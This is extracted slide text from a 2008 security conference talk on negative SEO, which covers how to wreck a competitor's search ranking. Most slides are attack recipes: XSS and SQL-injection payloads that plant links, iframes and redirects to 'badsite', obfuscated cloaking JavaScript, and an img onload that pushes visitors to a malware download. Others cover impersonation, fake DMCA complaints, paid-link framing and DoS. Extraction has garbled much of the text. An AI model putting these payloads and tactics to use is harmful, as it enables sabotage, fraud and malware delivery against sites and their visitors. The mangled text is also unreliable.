  • 13. Reconaissance Build target backlinks/neighbors map. Include: map Key (authoritative) target resources with high Page Rank Direct incoming l k to target links 2nd/3rd Level incoming links to target Outcoming target links Approach target as complex structure with relationships: Business Target Political Target The parent company Political Party Subsidiary companies Political Election/Campaign Sister companies Political Affiliates Significant business Supporting Politicians partners Brands/Divisions Supporters © 2008 Security-Assessment.com
  • 14. Reconaissance Build target backlinks/neighbors map. Include: map Key (authoritative) target resources with high Page Rank Direct incoming l k to target links 2nd/3rd Level incoming links to target Outcoming target links © 2008 Security-Assessment.com
  • 15. Reconaissance Other elements to consider: Target Annual reports / Press-Releases Target contact names and email addresses d l dd Target locations and branches Target mergers/acquisitions, elections Job/political boards, either internal to the target or external sites Disgruntled employee or opposite faction blogs © 2008 Security-Assessment.com
  • 16. Reconnaissance - Tools Extrapolate target links from search engines: Google site:targetsite.com – indexed pages of target site d d f link:targetsite.com – pages that link to target site cache:targetsite.com – current cache of target site info:targetsite.com – information on target site related:targetsite.com – pages similar to target site targetsite.com -> enter full URL into the search fields (+ all subdomains combinations) Google News, Google Groups and Google Alerts Yahoo: Site Explorer - http://siteexplorer.search.yahoo.com/ http://targetsite.com – includes pages indexed and pages that link t t li k to target site t it © 2008 Security-Assessment.com
  • 17. Reconaissance - Tools Live Search Macros - http://search.live.com/macros/default.aspx?FORM=BJJK Create an advanced search Macro on target site/web page Other tools: web.archive.org web archive org – useful to identify content linked in the past Maltego: excellent tool to display structure of any entity on the internet. http://www.paterva.com/web2/Maltego/maltego.html te et ttp // pate a co / eb / a tego/ a tego t http://www.scrutinizethis.com/ http://www.abouturl.com/index.php http://www abouturl com/index php http://whois.domaintools.com http://netcraft.net http://netcraft net http://www.webmaster-toolkit.com/ http://www.myipneighbors.com/ htt // i i hb / © 2008 Security-Assessment.com
  • 18. Reconaissance - SEO Tools Extrapolate target SEO data: Firefox add-on: Seoquake (https://addons.mozilla.org/en- US/firefox/addon/3036) Identify target SEO skills, keywords and SERP positioning: skills Check if target uses Google Web Master and/or Yahoo Site Explorer po e Check if target is practicing any SEO techniques Scan target with SEO software Webceo - http://www.webceo.com Check target backlinks g http://www.linkhounds.com/link-harvester/backlinks.php © 2008 Security-Assessment.com
  • 19. Eliminating target resources © 2008 Security-Assessment.com
  • 20. Eliminating target resources The neighbours target map (visual concept): Thinking like a search engine: A link to a page = casting a vote p g g Votes are related to a specific content/information Many votes to a site indicate that the site is “authoritative” / authoritative “trusted” for a specific content = best value to user © 2008 Security-Assessment.com
  • 21. Eliminating target resources Eliminating target resources: Remove/divert links from authoritative/trusted sites to target site Remove/divert direct incoming links to target site /d d l k Two main attack approaches: Hack neighbours sites and remove links Social engineering + direct attack First approach not always feasible. Second approach: Impersonate target and social engineer target resources Motives to remove/divert link: rebranding, restructuring, maintenance, new domain, spam links, etc. Enforce case with new domain registered as target, XSS/SQL injection, spam links, etc. © 2008 Security-Assessment.com
  • 22. Eliminating target resources A possible attack scenario: Impact: p Decreased quality/quantity of target neighbours Target position and rank affected © 2008 Security-Assessment.com
  • 23. Frontal attacks © 2008 Security-Assessment.com
  • 24. Frontal Attacks Table Frontal attacks classification Scope Exploit Probability Attack Impact Complexity of success Timeframe Decrease: Low/Medium High/Medium Long Position/Rank • rank decreased • position • Reversing search • Web Spam as a • Crawling • backlinks engines proof • Indexing • Caching Demonstrate: High Low/Medium Medium Target target is: ban/penalisation • Target vulnerable • Human review of • Tools speed • deceitful • Low spam reports indexing • fraudulent quality/quantity (quantity/quality) • spamming p g target backlinks • Moderate/Absent target SEO skills The two scopes and the techniques involved have completely p q p y opposite results Attacker makes a choice depending on: available timeframe, resources, skills and target exploitability kill dt t l it bilit © 2008 Security-Assessment.com
  • 25. Decreasing target positioning Attack: Spam social bookmarks with target URL Digg.com, Reddit.com, Onlywire.com, etc Automatic script + social bookmarks API lb k k http://www.onlywire.com/api/add?url=http://targetsite&ti tle=targetsite&comments=targetsite&tags=targetsite Impact: Target can be banned. Target site loses links from trusted/high PR domains Attack: Duplicate target content in: target site (exploit stored XSS or SQL injection) domain with higher PR of target site (buy another site) many sites (build network of clones) Impact: Target penalised for duplicate content © 2008 Security-Assessment.com
  • 26. Decreasing target positioning Attack: Submit web proxy + target site to search engines Use proxy with a higher PR and/or higher number of backlinks than target Use proxy that do not obfuscate target URL http://www.zzoop.com/index.php? & http://targetsite/ http://www.zzoop.com/index.php?=&=http://targetsite/ Impact: target position may drop suddenly Attack: Mass submissions of target to low quality web directories Most of them are free. Low quality = n/a or PR 0 Publication can take up to 6 months. Do mass submission. http://www.web-directories.ws Impact: Decrease quality of neighbours. Position decreased. © 2008 Security-Assessment.com
  • 27. Decreasing target positioning Attack: Create backlinks to unused target subdomain www.targetsite.com – 200 OK (used/promoted) targetsite.com – 200 OK ( (not used) <- b kl k target d) backlinks No 301 redirection and both subdomains must point to same content Impact: Positioning affected Attack: DoS target Spider needs a 404 Not Found response from target Then request removal of unavailable target pages Impact: Target page removed from SERPS © 2008 Security-Assessment.com
  • 28. Decreasing target positioning Attack: Promote target site URL + dynamic content such as: Session IDs Variables with long values bl hl l http://targetsite/?PHPSESSIONID=a8s7d8782378273827381273821s98d&productId=a9 982938219038291832918391389218931&a2=9sa8d9as7d9a7d98sa7d8sa7d8asdsa&b2=1203 18291289381938921&login=true Impact: positioning decreasing, pages removal or no pages caching Attack: Promote competition of target using White Hat SEO competition target competition Impact: positioning decreased © 2008 Security-Assessment.com
  • 29. Decreasing target positioning Attack: Build fake content based on target keywords Turn everything from the target keywords into education content which provides real value to end user Promote fake content with black hat/white hat SEO techniques Fake Legitimate Fake Legitimate Fake Legitimate Legitimate Impact: positioning shift © 2008 Security-Assessment.com
  • 30. Target perceived as spammer Alonzo: [after killing Roger and shooting Jeff] It's not what you know, it's what you can prove. Training Day, 2001 © 2008 Security-Assessment.com
  • 31. Target perceived as spammer Attack: Inject permanent links pointing to bad sites into target <a href=http://badsite>target site keywords</a> <a href=http://badsite>spam keywords</a> Exploit stored XSS, SQL injection in target l d Injection must be stealth, deceitful, smart, balanced Attack should last as long as possible If possible, make cross links between target and bad sites Impact: Penalisation and/or ban of target site Bad site can contain: Spam Porn Malicious Content (malware, virus, trojan/backdoor) Warez/Cracks/Torrents/File Sharing Links/Illegal Files Links to other bad sites © 2008 Security-Assessment.com
  • 32. Target perceived as spammer Bad site can be: PayPerClick Page/Blog/Fake Directory/Fake Forum/Scraped Page Banned d Phishing Thin Affiliate Free link Exchange Bad site can use: JavaScript Redirects - JavaScript used for cloaking Keyword Stuffing - overloaded page with excessive keywords Backdoor pages – page that hides backdoor (+ redirection) p g p g ( ) 100% Frame – frameset with one frame 100% to deceive search engines spiders © 2008 Security-Assessment.com
  • 33. Target perceived as spammer Hidden text/Hidden Links – hidden content with intention to deceive search engines Foreign Language – foreign language with intention to confuse search engines Sneaky Redirects – redirection through rotating domains Same class C IP addresses and same domain registrant details of target site © 2008 Security-Assessment.com
  • 34. Target perceived as spammer Attack: Promote target XSS link http://targetsite.com?search=a”><a href=http://badsite>target site keywords</a><!— http://targetsite.com?search=a”><iframe src=badsite></iframe><!— http://targesite.com?frameurl=http://badsite p g p http://targetsite.com?redirect=http://badsite Links must point to bad sites Promote XSS link + target keyword with black-hat SEO Use link farms, splogs, guest books, forums, any article/page that th t enable comments with good PR bl t ith d Target site needs to appear in top 10 SERP for the keyword promoted If attack is successful, report target to search engines with search URL, keyword and target URL , y g Impact: Penalisation and/or ban of target © 2008 Security-Assessment.com
  • 35. Target perceived as spammer Attack: Inject cloaking JavaScript into target site <script language="JavaScript"> var r=document.referrer,t="",q;if(r.indexOf("google.")!=- 1)t="q";if(r.indexOf("msn.")!=-1)t="q";if(r.indexOf("live.")!=- 1)t="q";if(r.indexOf("yahoo.")!=-1)t="p";if(r.indexOf("altavista.")!=- 1)t="q";if(r.indexOf("aol.")!=-1)t="query";if(r.indexOf("ask.")!=- 1)t="q";if(document.cookie.length==0 && t.length && (document.URL.indexOf("?cloakhook=")!=-1 && ((q=r.indexOf("?"+t+"="))!=- 1||(q r.indexOf( & +t+ 1||(q=r.indexOf("&"+t+"="))!=-1)){window.location="http://badsite/";}</script> ))! 1)){window.location http://badsite/ ;}</script> Cloaking must point to bad sites Promote cloaking hook with black-hat SEO <a href=http://targetsite.com/?cloakhook=10>any keyword</a> If attack is successful, report target to search engines Impact: Penalisation and/or ban of target p / g © 2008 Security-Assessment.com
  • 36. Target perceived as spammer Attack: Inject redirection into target HTML meta tag refresh with a very short time JavaScript triggering redirection onmouseover event d <META http-equiv="refresh" content=“0;URL=http://badsite/buyviagra.php"> <body onmouseover=“document.location(‘//badsite/buyviagra.php’)> Impact: Penalisation and/or ban of target Attack: Splog target Use spam script/tool that leaves target URL in thousands of blog comments and forums Create large number of blogs spamming target and using syndicated services such as RSS to be used in blog pings http://pingomatic.com/ Impact: b / I t ban/penalisation li ti © 2008 Security-Assessment.com
  • 37. Target perceived as spammer Attack: Exploit XSS vulnerability in trusted sites to promote target Create link farm to index XSS link to target site Xssed.com lists vulnerable sites with high PR d l l bl hh h <a href=‘http://www.imdb.com/List?locations="><iframe src=//targetsite.com> </iframe>’>keyword to be ranked</a> <a href =‘http://help.yahoo.com/bin/help/redirect.cgi?to_url= http://targetsite.com’>keyword to be ranked</a> Attack: Spam target in universities pages, forums, sites with high PR Some EDU pages are available at low price Use target name in the account name (reflected in URL) <a href=‘http://groups.google.com/group/targetsite’>keyword</a> <a href=‘http://www.bebo.com/targetsite’>keyword</a> h f ‘htt // b b /t t it ’ k d / <a href=‘http://www.mixx.com/users/targetsite’>keyword</a> <a href=‘http://infostore.org/user/targetsite’>keyword</a> <a href=‘http://cgi.cse.unsw.edu.au/~targetsite/targetsite.html’>keyword</a> Impact: Target ban © 2008 Security-Assessment.com
  • 38. Target perceived as spammer Attack: Store copyrighted material into target site Material pertinent to target from copyrighted sources (books, encyclopaedias, encyclopaedias white papers etc ) papers, etc.) Issue DMCA complaint if target is US based to search engines and to target ISP Impact: target site page temporary removal (legal case) Attack: Spam ta get s te in spa page ttac Spa target site spam Use comments in spam page illegally ranking in top 10 SERPS Exploit XSS, SQL injection or any injection XSS Report both spammer and target to search engines Impact: t I t target b t ban © 2008 Security-Assessment.com
  • 39. Target perceived as spammer Attack: Buy paid links on behalf of target Paid links marketplaces: www.tnx.net www.isellpagerank.com www tnx net - www isellpagerank com Inject links identified as “paid links” into target Attack: Show target is selling paid-links paid links Target site must have a good PR (at least 3 or 4) Sell li k S ll links on target behalf through link marketplaces t t b h lf th h li k k t l Inject links on sale through stored XSS or SQL injection Attack: Trade links on behalf of target Impersonate target to send emails for link trading Inject links through XSS, SQL injection or any injection In all cases, report target to search engines Impact: target site removal/penalisation © 2008 Security-Assessment.com
  • 41. Collateral Damage Collateral damage: damage in terms of web marketing context, context reputation/image Attack: 302 hijacking target Well known Google bug (not completely fixed) Point many 302 redirections to target site Implement cloaking on landing page Target Target hijacked Impact: target site content displacement © 2008 Security-Assessment.com
  • 42. Collateral Damage Attack: Create a malware connection with target Malware hosted on target site or on a third party site Inject JavaScript which launches malware h hl h l <img src=a.gif onload=javascript:document.location.href='http://malwaresite/malware.exe'; /> Report target site to: Stopbadware.org - McAfee Site Advisor – AVG Link Scanner Impact: T I t Target Sit P bli Image t Site Public I Attack: Google bombing/bowling target site with negative keywords Still works on Google, Yahoo and Live Pickup a non-common / negative-impact keyword Promote target site link with negative keyword in good quality link farm <a href=‘http://targetsite’>bad keyword</a> Impact: t I t target reputation and i t t ti d image © 2008 Security-Assessment.com
  • 43. Collateral Damage Attack: Spy on target Impersonate web anti-spam organisation Warn target competition about target using black-hat SEO b bl k h techniques Impact: possible legal action against target Attack: Expose t Att k E target sensitive pages t SERPS t iti to Example: hidden directories, awstats, webalyzer, admin, URL with username/password, etc username/password Google Dorks from GHDB http://johnny.ihackstuff.com/ghdb.php Make target link indexed by search engines Impact: exposure of statistics and sensitive data useful to competition © 2008 Security-Assessment.com
  • 44. Collateral Damage Attack: Expose target sensitive pages to SERPS Example: hidden directories, awstats, webalyzer, admin, URL with username/password, etc username/password Google Dorks from GHDB http://johnny.ihackstuff.com/ghdb.php Make target link indexed by search engines Impact: exposure of statistics and sensitive data useful to co pet t o competition © 2008 Security-Assessment.com
  • 45. Weapons of SEO Destruction Xrumer – http://www botmaster net/more1/ http://www.botmaster.net/more1/ Autosubmitter Large d b database of forums, groups pages available ff l bl Advanced control on threads and posts Captcha and pictocode support ProxyURL – http://www.esrun.co.uk/blog/proxy-url-creator/ Generates large list of proxy urls Sed (Search Engine De-optimisation) ** v0.2 RELEASED** http://malerisch.net/tools/negativeseo/sed.zip Page generator with hidden text technique, target keyword stuffing in meta tags, title tags and other HTML elements tags Associate phishing sites URLs from Millersmile archive Associate random spam keywords to target A i t d k d t t t © 2008 Security-Assessment.com
  • 47. sed Keyword y stuffing on Spam keywords title with associated to target target URL t t keywords Use of different Meta keywords with spam Headers keywords HTML comments with spam Target keyword keywords Latest phishing URL extracted f t t d from Millersmile archive and associated to target keyword © 2008 Security-Assessment.com
  • 48. sed Sed deployment scenario © 2008 Security-Assessment.com
  • 49. Case Study Personalsoftwarefinance.com Personalsoftwarefinance com – fake company selling fake software Experiment environment factors: Major Search Engines involved (Google, Yahoo) h l d( l h ) Primary keywords: personal software finance Domain name: personalsoftwarefinance.com ICANN Registrar: Godaddy.com Reputable Web Hosting: successfullhosting.com SEO Tools used: Web Seo + common SEO techniques from articles, books, etc Web stats tools: awstats, webalizer, hsphere panel tools Site is vulnerable to common web vulnerabilities such as stored XSS, SQL injections, XSRF © 2008 Security-Assessment.com
  • 50. Case Study Time for the video!!! © 2008 Security-Assessment.com
  • 51. Recommendations Security Recommendations: Secure the site - OWASP Testing Guide Subscribe to Google Webmaster Tool and Yahoo Site Explorer b b l b l d h l Check incoming and outcoming links periodically Set Google Alert Check/monitor web server logs constantly Disable 302 temporary redirection if used Do not use redirection functions Check periodically web server directory and application source code for changes/presence of backdoors © 2008 Security-Assessment.com
  • 52. Conclusions And remember remember... Q: What can I do if I'm afraid my competitor is harming my ranking in Google? Google: There's almost nothing a competitor can do to harm your ranking or have your site removed from our index. If you're concerned about another site linking to yours, we suggest contacting the webmaster of the site in question. Google aggregates a d o ga es o at o published on the eb; e don't control and organizes information pub s ed o t e web; we do t co t o the content of these pages. © 2008 Security-Assessment.com
  • 53. Thanks! http://www.security assessment.com http://www.security-assessment.com Roberto Suggi Liverani roberto.suggi@security-assessment.com © 2008 Security-Assessment.com
  • 54. References/Links Negative SEO articles Black - Negative SEO Hits Mainstream Media Companies Offer to Damage Your Competitors Search Engine Rankings Companies subvert search results to squelch criticism p q Condemned To Google Hell - Forbes.com 'Google bowling' and negative SEO All fair in love and war Searchlight - An SEO blog by Stephan Spencer - CNET Blogs Firms use evil SEO to kill rivals' Google rankings : News : Security - ZDNet Asia Google allowing other webmasters to damage your site Google-Proof PR - Forbes.com In Pictures 7 Ways Your Site Can Be Sabotaged - Forbes.com Having Fun at Donalds Expense - So How's this Happening? | Threadwatch.org Google's Matt Cutts' Blog GoogleWashed | Threadwatch.org Give me money or I will drop your Google Rank - Search Engine Watch Forums Fighting Off Negative Publicity and Affiliates in the SERPs : SEO Book.com Google Keeps Tweaking Its Search Engine - New York Times Google Should Offer Self Defense Against Spammy Inbound Links Google's Cookie Michael Sutton's Blog : A Tour of the Google Blacklist Matt Cutts Google bowling exists Threadwatch.org g g g Kick Your Competitor With Negative SEO? - Google Blogoscoped Forum Negative SEO - Harming Your Competitors With SEO Negative SEO (Black SEO) Tactics - Fighting Dirty Negative SEO At Work: Buying Cheap Viagra From Google’s Very Own Matt Cutts - Unless You Prefer Reddit? Or Topix? :: My First Million on the Internet: Google Bowling and Negative SEO: Tearing Down Rather Than Building Up SEOmoz | Del.icio.us Cloaking to Combat Spam © 2008 Security-Assessment.com
  • 55. References/Links Negative SEO articles SEOmoz | The Dark Side of Wikipedia The Saboteurs Of Search - Forbes.com SEOmoz SEO isn�t hacking - and data security tips g y p SEO poisoning attacks growing Google Penalization: Text Links, Redirects Not Likely Causes - Spam Comment Links Maybe - The Story Continues - Robin Good's Latest News Other sites can hurt your ranking | JLH Design Blog Building Authority Websites The Right Way | Denver SEO Guy | Knox in Denver How Much Money is a Top Google Ranking Worth to Your Business? Google allowing other webmasters to damage your ranking Why should I report paid links to Google? Small treatise about e-manipulation for honest people Forums/Blogs Black H t Bl k Hat SEO Bl k Hat F Black H t Forum - P Powered b vBulletin d by B ll ti Blackhat SEO BlackHatCrew - Elite Webmaster SEO Forum Blackhat SEO » Blog Archive » Free blog hosts Digerati Marketing - The better search blog Earl Grey`s Black Hat SEO Forum and SEOBlackhat SEM Community - The first and leading Resource on Blackhat SE0 Happar.com Support Forum / Register Evaluating Google Search Quality | Bruce Cat dot com evilgreenmonkey Google Search News Matt Cutts Gadgets, Google, and SEO IncrediBILL's Random Rants Half’s SEO Notebook © 2008 Security-Assessment.com
  • 56. References/Links Forums/Blogs: IrishWonder’s SEO Consulting Blog Negative SEO blog SEOassassin Network Security Research and AI ø Blue Hat SEO-Advanced SEO Tactics ø y SEO Black Hat Forum SEO Black Hat SEO Blog SEO Chicks |The SEO Blog with attitude roguespammer: A Rogue Spammer Search Engine Cloaking and Optimization Forum - SeoJeans / Hot Topics Stefan Juhl » Internet marketing, SEO & online media monetization Welcome to Seocracy.com Search Engine Marketing Tips & Search Engine News - Search Engine Watch SEO Forum Negative/Positive SEO Techniques: 302 Google Jacking - Has your page been hijacked - Home "Filler Friday: Google Bombing" from Über - Better than you, daily!» How D Th D li t C t t Filt H Do The Duplicate Content Filters Work? W k? 8 ways to abuse your XSS vulnerabilities - stefanjuhl.com Better search engine ranking Google ranking tips from a Google employee Better search engine rankings The risk of over-optimization How to remove your competitors from MSN Live! Hijack A Domain For 200$ at Conceptualist.com, By Sahar Sarid Funny Google's Cache Error Google and the Mysterious Case of the 1969 Pagejackers || kuro5hin.org Google Proxy Hacking: How A Third Party Can Remove Your Site From Google SERPs Link schemes http://tech.propeller.com/viewstory/2006/07/22/google-has-a-6-month-penalty-for-using-expired-domain/ Improve search engine rankings © 2008 Security-Assessment.com
  • 57. References/Links Negative/Positive SEO techniques: Improve search engine rankings Insider information about Google's ranking algorithm Own-the.net (Webappsec, SEO, and general Web Dev) SEOmoz | XSS - How to get 20 .gov links in 20 minutes Using Canonical Domains to Sabotage Competitors in Google Threadwatch.org Stop 302 Redirects and Scrapers from Hijacking Web Page PR - Page Rank SpewMoney™ » Blog Archive » Getting traffic from Facebook or How her milkshake brings all the boys to my website SitePoint Blogs » example.com vs. www.example.com… trouble! Google Proxy Hacking: How A Third Party Can Remove Your Site From Google SERPs The Dark Side of Search Engine Optimization - Organic SEO Wiki Official Google Webmaster Central Blog: The Impact of User Feedback, Part 1 SEO tools/software: Blackhat SEO - Esrun » Blackhat SEO Scripts Black Hat SEO Software Built to Make Money Fast - Black Hat Software Blackhat SEO - Esrun » GMAIL Account Creator [GAC] Dark SEO Programming Dark SEO Programming » captcha Dark Seo Team dnScoop - Domain Name Value, History, Stats Tool and Forums Value History Free URL Redirection, No Ads! Short Free Domain Name (you.co.nr) Google Remove URL - One for the Good Guys! » SEO Image Blog: Stardate http://sb.google.com/safebrowsing/update?version=goog-black-url:1:1 Free Web Analytic Search Engine Page Rank and SEO Optimization Tools - Are you GoingUp? Analytic, Engine, OnlyWire: The Only BookMarklet You'll Ever Need! OnlyWire: The Only BookMarklet You'll Ever Need! Pagerank 10 #dS.t ~ darkseoteam.com Pagerank 9 #dS.t ~ darkseoteam.com © 2008 Security-Assessment.com
  • 58. References/Links SEO Tools/Software: Pagerank 10 #dS.t ~ darkseoteam.com Pagerank 9 #dS.t ~ darkseoteam.com Report a Spam Result Search engine SPAM detector p p g SearchStatus | Firefox SEO Toolbar Extension Proton TM Recherche Fresh Bdd Google . darkseoteam.com . Rojo - the best free RSS and Atom feed reader Scraping and Posting your way to money on the Internet - Oooff com Oooff.com Squidoo : Explore Lenses the-cloak home Web Spam Detection Whois lookup and Domain name search Who's linking to you? List your referrers, referers, http_referer, referer, referrer SerpArchive Web Directory List Ordered By Weakest Google PageRank top referrers for webmasters SitePoint Marketplace Save A Sale : Automated Sales Agent Search Engine Friendly Redirect Checker © 2008 Security-Assessment.com